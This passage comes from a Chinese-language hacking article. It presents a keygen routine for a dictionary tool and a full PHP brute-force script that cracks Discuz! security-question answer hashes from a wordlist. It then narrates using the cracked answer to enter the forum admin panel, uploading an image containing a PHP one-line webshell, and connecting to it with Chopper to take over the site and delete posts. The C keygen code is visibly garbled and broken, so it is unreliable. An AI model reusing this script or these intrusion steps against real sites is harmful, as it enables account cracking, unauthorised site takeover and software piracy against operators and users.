最终我使用了一种巧妙的办法写出了这段代码的逆函数。有点基础的朋友自己看代码吧,我也不好在这里占用太大篇幅去深析这个算法的逆向过程。代码如下。
void DicDecode(char *str) { char end[64]={0}; if (strlen(str) !=16) *str=0; for(int i=0,j=0;i<16,j<64;i++,j=j+4) { if(str[i]<=‘9’ &&str[i]>=‘0’) { end[j]=str[i]-22; goto LABEL_a; } if(str[j]<=‘z’ &&str[i]>=‘a’) { end[j]=str[i]-61; goto LABEL_a; } if(str[i]<=‘Z’&& str[i]>=‘A’) { end[j]=str[i]-65; } LABEL_a: ; } for(i=0;i<64;i=i+4) { } if(end[i]<=i) { end[i]=i-end[i]; } int v10[16]; for(int k=0,n=0;k<16,n<64;k++,n=n+4) { v10[k]=(int)end[n]; } for(i=0;i<16;i++) { if(v10[i] <= 25 && v10[i]>=0) { } str[i]=v10[i]+ 65; goto LABEL_bb; if(v10[i] <= 35 && v10[i]>=26) { } str[i]=v10[i]+ 22; goto LABEL_bb; if(v10[i] < 61 && v10[i]>=36) { } str[i]=v10[i]+ 61; LABEL_bb: ; } char sigeliu[5]={0x36,0x36,0x36,0x36,0}; strcat(str,sigeliu); }
最后终于凑出了这个半成品的注册机,如图24所示。
图24
该注册机的用法是在00403D5B处,看堆栈得到f1(申请号)=BqwITTcm8kG5lcEk。把这个值写入密文框内,单击“解密”按钮就得到其注册码。
discuz!提示问题也是浮云,碰撞V5
字典生成器破解完后,我开始酝酿写这个discuz! 提示问题的碰撞程序。由于PHP的易用性,我选择用它来写。说白了也就是个穷举的过程,代码如下。
<? /*discuz提示问题答案暴力破解程序。by kyo327*/ error_reporting(0); if ($argc<2) { print_r(' ------------------------------------------------------------------ Usage: php '.$argv[0].' hash Example: php '.$argv[0].' 91de8255 ------------------------------------------------------------------ '); die; } $fd=fopen("pass.dic",r); if(!$fd) { echo"error:打开字典文件错误" ; die; } while($buf=fgets($fd)) { for($i=1;$i<8;$i++) { $tmp=substr(md5(trim($buf).md5($i)),16,8); //echo $tmp; $conn = strcmp($tmp,$argv[1]); if($conn==0) { echo "密码破解成功。\n"."提示问题答案为: ".$buf."提示的问题为:".theask((int)$i)."\n"; die; } } } if($conn!=0) { echo "没有正确的密码"; } fclose($fd); function theask($var){ if($var==1) { return "母亲的名字"; } elseif($var==2) { return "爷爷的名字"; } elseif($var==3) { return "父亲出生的城市"; } elseif($var==4) { return "您其中一位老师的名字"; } elseif($var==5) { return "您个人计算机的型号"; } elseif($var==6) { return "您最喜欢的餐馆名称"; } elseif($var==7) { return "驾驶执照最后四位数字"; } } ?>
我使用自己保存的100MB大字典破解没有成功。后来我把这个脚本放在了一个朋友的服务器上,然后用superdic生成了3GB的大字典,直接丢在服务器上碰撞吧。其实我坚信,在8位的字母加数字的大字典中去做碰撞的话肯定会成功。只是我没有那么大的硬盘,只做了6位字母来测试。又经过一天后,等我登录朋友的服务器3389时,得到了结果,如图25所示。
图25
我敢肯定,ufedys肯定不是这个管理员的答案。于是hash相同、明文却不相同的碰撞终于成功了。我默默在心里说了声:碰撞V5。剩下的应该比较容易了,登录后台,上传一个带PHP一句话木马的美女图片(不要告诉我,你在discuz! X2后台找不到上传的地方啊),然后利用类似这样的url:http://www.222.com/data/attachment/com mon/cf/212018txqnu4rcee3iek52.jpg/kyo. php 连接菜刀,就这样彻底拿下了该目标。既然Webshell都拿到了,删帖子这么简单的事情还用我继续说吗?
后记
到这里,费时两周的渗透也算是结束了,实战过程中其实还遇到了更多的各种各样的问题,只不过本文是后来补写的,很多细节都忘却了,但主要的东西都已经在文章中体现了。
最后我还是想提一提国内的安全现状,不出事不代表你们没有被入侵过,在我工作的这几年,做了不少安全检测,每次渗透测试拿到shell之时,大都发现有黑客进来的痕迹,这些还都是不知道打扫日志的菜鸟呢。以我这种菜鸟的水平,在别人给我目标时我都可以保证50%的成功率,还用说国内归隐的各种高手吗?
所以最后要敬告国内的某些大公司,请善待网络安全人才。另外在2013新的一年里祝愿冰点极限的2yue、kindle、小龙猪、老马(Marcos)、lcx、np、孤水绕城、Beach、顺、安静、alex、紫夜、cnbug等好友们婚姻与事业双丰收。